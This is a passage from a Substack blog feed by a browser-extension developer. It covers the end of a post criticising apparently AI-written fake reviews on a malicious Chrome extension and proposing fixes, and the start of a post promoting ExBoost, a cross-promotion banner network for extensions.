src="https://substackcdn.com/image/fetch/$s_!giz1!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2617e5f-74d3-4a4e-a5ff-db6447d737a9_1516x104.png" width="1456" height="100" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d2617e5f-74d3-4a4e-a5ff-db6447d737a9_1516x104.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:100,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:26839,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!giz1!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2617e5f-74d3-4a4e-a5ff-db6447d737a9_1516x104.png 424w, https://substackcdn.com/image/fetch/$s_!giz1!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2617e5f-74d3-4a4e-a5ff-db6447d737a9_1516x104.png 848w, https://substackcdn.com/image/fetch/$s_!giz1!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2617e5f-74d3-4a4e-a5ff-db6447d737a9_1516x104.png 1272w, https://substackcdn.com/image/fetch/$s_!giz1!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2617e5f-74d3-4a4e-a5ff-db6447d737a9_1516x104.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!VvVM!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc000eecc-199b-4d2f-ad89-72d8a57c4f93_1474x1484.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!VvVM!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc000eecc-199b-4d2f-ad89-72d8a57c4f93_1474x1484.png 424w, https://substackcdn.com/image/fetch/$s_!VvVM!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc000eecc-199b-4d2f-ad89-72d8a57c4f93_1474x1484.png 848w, https://substackcdn.com/image/fetch/$s_!VvVM!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc000eecc-199b-4d2f-ad89-72d8a57c4f93_1474x1484.png 1272w, https://substackcdn.com/image/fetch/$s_!VvVM!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc000eecc-199b-4d2f-ad89-72d8a57c4f93_1474x1484.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!VvVM!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc000eecc-199b-4d2f-ad89-72d8a57c4f93_1474x1484.png" width="1456" height="1466" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c000eecc-199b-4d2f-ad89-72d8a57c4f93_1474x1484.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1466,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:243687,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!VvVM!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc000eecc-199b-4d2f-ad89-72d8a57c4f93_1474x1484.png 424w, https://substackcdn.com/image/fetch/$s_!VvVM!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc000eecc-199b-4d2f-ad89-72d8a57c4f93_1474x1484.png 848w, https://substackcdn.com/image/fetch/$s_!VvVM!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc000eecc-199b-4d2f-ad89-72d8a57c4f93_1474x1484.png 1272w, https://substackcdn.com/image/fetch/$s_!VvVM!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc000eecc-199b-4d2f-ad89-72d8a57c4f93_1474x1484.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Check out the fake reviews here: <a href="https://chromewebstore.google.com/detail/first-byte/nkikhefaobjaccmcngakfmelebahleea/reviews">https://chromewebstore.google.com/detail/first-byte/nkikhefaobjaccmcngakfmelebahleea/reviews</a></p><p>I was surprised at how believable these reviews were, so I&#8217;m assuming they&#8217;re AI-generated.</p><h1>Takeaways</h1><p>The battle against paid fake reviews will never be won, but there should be at least a <em>tiny</em> bit of friction to deter fake reviews. </p><p>Here&#8217;s the Chrome Web Store policy on user reviews:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!TWas!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F55fb13e9-9c67-4cbc-a485-a8b33b8ad160_1436x304.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!TWas!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F55fb13e9-9c67-4cbc-a485-a8b33b8ad160_1436x304.png 424w, https://substackcdn.com/image/fetch/$s_!TWas!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F55fb13e9-9c67-4cbc-a485-a8b33b8ad160_1436x304.png 848w, https://substackcdn.com/image/fetch/$s_!TWas!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F55fb13e9-9c67-4cbc-a485-a8b33b8ad160_1436x304.png 1272w, https://substackcdn.com/image/fetch/$s_!TWas!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F55fb13e9-9c67-4cbc-a485-a8b33b8ad160_1436x304.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!TWas!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F55fb13e9-9c67-4cbc-a485-a8b33b8ad160_1436x304.png" width="1436" height="304" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/55fb13e9-9c67-4cbc-a485-a8b33b8ad160_1436x304.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:304,&quot;width&quot;:1436,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:78530,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!TWas!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F55fb13e9-9c67-4cbc-a485-a8b33b8ad160_1436x304.png 424w, https://substackcdn.com/image/fetch/$s_!TWas!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F55fb13e9-9c67-4cbc-a485-a8b33b8ad160_1436x304.png 848w, https://substackcdn.com/image/fetch/$s_!TWas!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F55fb13e9-9c67-4cbc-a485-a8b33b8ad160_1436x304.png 1272w, https://substackcdn.com/image/fetch/$s_!TWas!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F55fb13e9-9c67-4cbc-a485-a8b33b8ad160_1436x304.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><div class="pullquote"><p>Google doesn&#8217;t verify the authenticity of reviews and ratings</p></div><p>With no verification of authenticity, and with the newfound saturation of LLMs, <em>of course</em> extension reviews are going to become an unreliable swamp. </p><p><strong>Users need reliable reviews to make informed software decisions.</strong></p><p>The first line of defense against malicious extensions should be the Chrome Web Store detecting these extensions and expelling them, but currently this is the <em>only</em> line of defense. </p><p>Some ideas to solve this problem:</p><ul><li><p><strong>Encourage more reviews from real users.</strong> There are plenty of high-quality extensions out there with large numbers of happy users, but it&#8217;s completely up to extension developers to push their users to leave reviews. More should be done from Chrome&#8217;s side to encourage reviews from real users, &#224; la Google Play and the App Store reminding users to review.</p></li><li><p><strong>Automatically discard untrustworthy reviews.</strong> Google is going all-in on AI, and they have a huge corpus of extensions, reviews, and account/browser metadata. If even 1% of the sophistication of detecting fake ad clicks is applied here, the improvement would be substantial.</p></li><li><p><strong>Give users a way to learn about the accounts behind these reviews.</strong> Other than a name and avatar image, there is no way for a user to learn anything about the identity of someone who leaves a review, positive or negative. People are pretty good at identifying suspicious accounts. Reddit&#8217;s model of public comments/posts is a good example of this.</p></li></ul><p></p><p><em>Matt Frisbie is a Web Extensions Google Developer Expert</em></p><p><a href="https://www.mattfriz.com">mattfriz.com</a></p>]]></content:encoded></item><item><title><![CDATA[Introducing ExBoost: Revolutionizing Chrome Extension Discoverability]]></title><description><![CDATA[Empowering extension developers with community-driven promotion]]></description><link>https://mattfrisbie.substack.com/p/introducing-exboost-revolutionizing</link><guid isPermaLink="false">https://mattfrisbie.substack.com/p/introducing-exboost-revolutionizing</guid><dc:creator><![CDATA[Matt Frisbie]]></dc:creator><pubDate>Mon, 12 Feb 2024 15:01:40 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!bAQ5!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a95fc20-9bbd-4c47-ac1a-9003b57dfd43_1200x1200.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!bAQ5!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a95fc20-9bbd-4c47-ac1a-9003b57dfd43_1200x1200.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!bAQ5!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a95fc20-9bbd-4c47-ac1a-9003b57dfd43_1200x1200.png 424w, https://substackcdn.com/image/fetch/$s_!bAQ5!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a95fc20-9bbd-4c47-ac1a-9003b57dfd43_1200x1200.png 848w, https://substackcdn.com/image/fetch/$s_!bAQ5!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a95fc20-9bbd-4c47-ac1a-9003b57dfd43_1200x1200.png 1272w, https://substackcdn.com/image/fetch/$s_!bAQ5!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a95fc20-9bbd-4c47-ac1a-9003b57dfd43_1200x1200.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!bAQ5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a95fc20-9bbd-4c47-ac1a-9003b57dfd43_1200x1200.png" width="198" height="198" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/9a95fc20-9bbd-4c47-ac1a-9003b57dfd43_1200x1200.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1200,&quot;width&quot;:1200,&quot;resizeWidth&quot;:198,&quot;bytes&quot;:154008,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!bAQ5!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a95fc20-9bbd-4c47-ac1a-9003b57dfd43_1200x1200.png 424w, https://substackcdn.com/image/fetch/$s_!bAQ5!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a95fc20-9bbd-4c47-ac1a-9003b57dfd43_1200x1200.png 848w, https://substackcdn.com/image/fetch/$s_!bAQ5!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a95fc20-9bbd-4c47-ac1a-9003b57dfd43_1200x1200.png 1272w, https://substackcdn.com/image/fetch/$s_!bAQ5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a95fc20-9bbd-4c47-ac1a-9003b57dfd43_1200x1200.png 1456w" sizes="100vw" fetchpriority="high"></picture><div></div></div></a></figure></div><p></p><p>As a Web Extensions Google Developer Expert, I constantly see this question asked by extension developers:</p><div class="pullquote"><p>How can I get more users?</p></div><p>This question underscores a universal struggle within the extension ecosystem: regardless of their utility, innovative features, or the problem they solve,<strong> extensions face an uphill battle for visibility</strong>. </p><p>All extensions - <em>especially</em> newly created extensions - suffer from this problem. </p><ul><li><p>The Chrome Web Store&#8217;s catalogue is massive, and all but the most popular extensions are buried in search results. </p></li><li><p>An extension without reviews or users will have a hard time getting someone to install it. </p></li><li><p>Digital advertising is very expensive, and most extensions tend to generate little or no revenue.</p></li></ul><p>Enter the concept of community-driven growth. It's no secret that extension enthusiasts not only love utilizing these tools to enhance their browsing experience but are also always on the lookout for the next great addition to their digital toolkit. </p><p>This insight lies at the heart of the solution I've been collaborating on: <strong><a href="https://extensionboost.com">ExBoost</a></strong>.</p><h2>What is ExBoost?</h2><p>ExBoost proposes a simple approach to extension promotion: a networked ecosystem where extensions help each other gain visibility through mutual promotion.</p><p>ExBoost is a network of extensions that add banners to &#8220;boost&#8221; each other with promotional banners. </p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!m9jJ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f47e39b-b579-49a5-802f-029ea5e7efd1_1093x1032.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!m9jJ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f47e39b-b579-49a5-802f-029ea5e7efd1_1093x1032.png 424w, https://substackcdn.com/image/fetch/$s_!m9jJ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f47e39b-b579-49a5-802f-029ea5e7efd1_1093x1032.png 848w, https://substackcdn.com/image/fetch/$s_!m9jJ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f47e39b-b579-49a5-802f-029ea5e7efd1_1093x1032.png 1272w, https://substackcdn.com/image/fetch/$s_!m9jJ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f47e39b-b579-49a5-802f-029ea5e7efd1_1093x1032.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!m9jJ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f47e39b-b579-49a5-802f-029ea5e7efd1_1093x1032.png" width="1093" height="1032" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3f47e39b-b579-49a5-802f-029ea5e7efd1_1093x1032.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1032,&quot;width&quot;:1093,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:101853,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!m9jJ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f47e39b-b579-49a5-802f-029ea5e7efd1_1093x1032.png 424w, https://substackcdn.com/image/fetch/$s_!m9jJ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f47e39b-b579-49a5-802f-029ea5e7efd1_1093x1032.png 848w, https://substackcdn.com/image/fetch/$s_!m9jJ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f47e39b-b579-49a5-802f-029ea5e7efd1_1093x1032.png 1272w, https://substackcdn.com/image/fetch/$s_!m9jJ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f47e39b-b579-49a5-802f-029ea5e7efd1_1093x1032.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>It&#8217;s similar to conventional digital advertising, with a few important differences:</p><ul><li><p>ExBoost banners <strong>only show publicly available extensions</strong>, never ads for websites or products.</p></li><li><p>ExBoost banners <strong>only link to the Chrome Web Store</strong>, so there is no opportunity for fraud or deceptive practices.</p></li><li><p>ExBoost is <strong>free to use</strong>, and does not require signup.</p></li></ul><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!i2u2!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F988943dc-4d1f-4a66-bb60-a88808c400b1_2396x1718.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!i2u2!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F988943dc-4d1f-4a66-bb60-a88808c400b1_2396x1718.png 424w, https://substackcdn.com/image/fetch/$s_!i2u2!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F988943dc-4d1f-4a66-bb60-a88808c400b1_2396x1718.png 848w, https://substackcdn.com/image/fetch/$s_!i2u2!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F988943dc-4d1f-4a66-bb60-a88808c400b1_2396x1718.png 1272w, https://substackcdn.com/image/fetch/$s_!i2u2!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F988943dc-4d1f-4a66-bb60-a88808c400b1_2396x1718.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!i2u2!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F988943dc-4d1f-4a66-bb60-a88808c400b1_2396x1718.png" width="1456" height="1044" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/988943dc-4d1f-4a66-bb60-a88808c400b1_2396x1718.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1044,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!i2u2!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F988943dc-4d1f-4a66-bb60-a88808c400b1_2396x1718.png 424w, https://substackcdn.com/image/fetch/$s_!i2u2!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F988943dc-4d1f-4a66-bb60-a88808c400b1_2396x1718.png 848w, https://substackcdn.com/image/fetch/$s_!i2u2!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F988943dc-4d1f-4a66-bb60-a88808c400b1_2396x1718.png 1272w, https://substackcdn.com/image/fetch/$s_!i2u2!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F988943dc-4d1f-4a66-bb60-a88808c400b1_2396x1718.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><em>ExBoost banner inside the <a href="https://chromewebstore.google.com/detail/example-chrome-extension/jnofdoejfipgalklopidpdeofjebihcf">Example Chrome Extension</a> popup</em></p><h2>How does ExBoost work?</h2><p>ExBoost balances traffic across extensions: the more impressions and clicks that come from <em>your</em> extension, the more your extension will be shown inside <em>other</em> extensions. </p><h2>How does ExBoost make money?</h2><p>Need more traffic? You can pay for a campaign to show your extension more often, or to improve targeting.</p><h2>How can I install ExBoost?</h2><p>Instructions for installing ExBoost can be found here: <a href="https://github.com/classvsoftware/exboost.js">https://github.com/classvsoftware/exboost.js</a> </p><p>You can add as many ExBoost banner slots to your extension as you want, and make them any size.</p><h2>When will 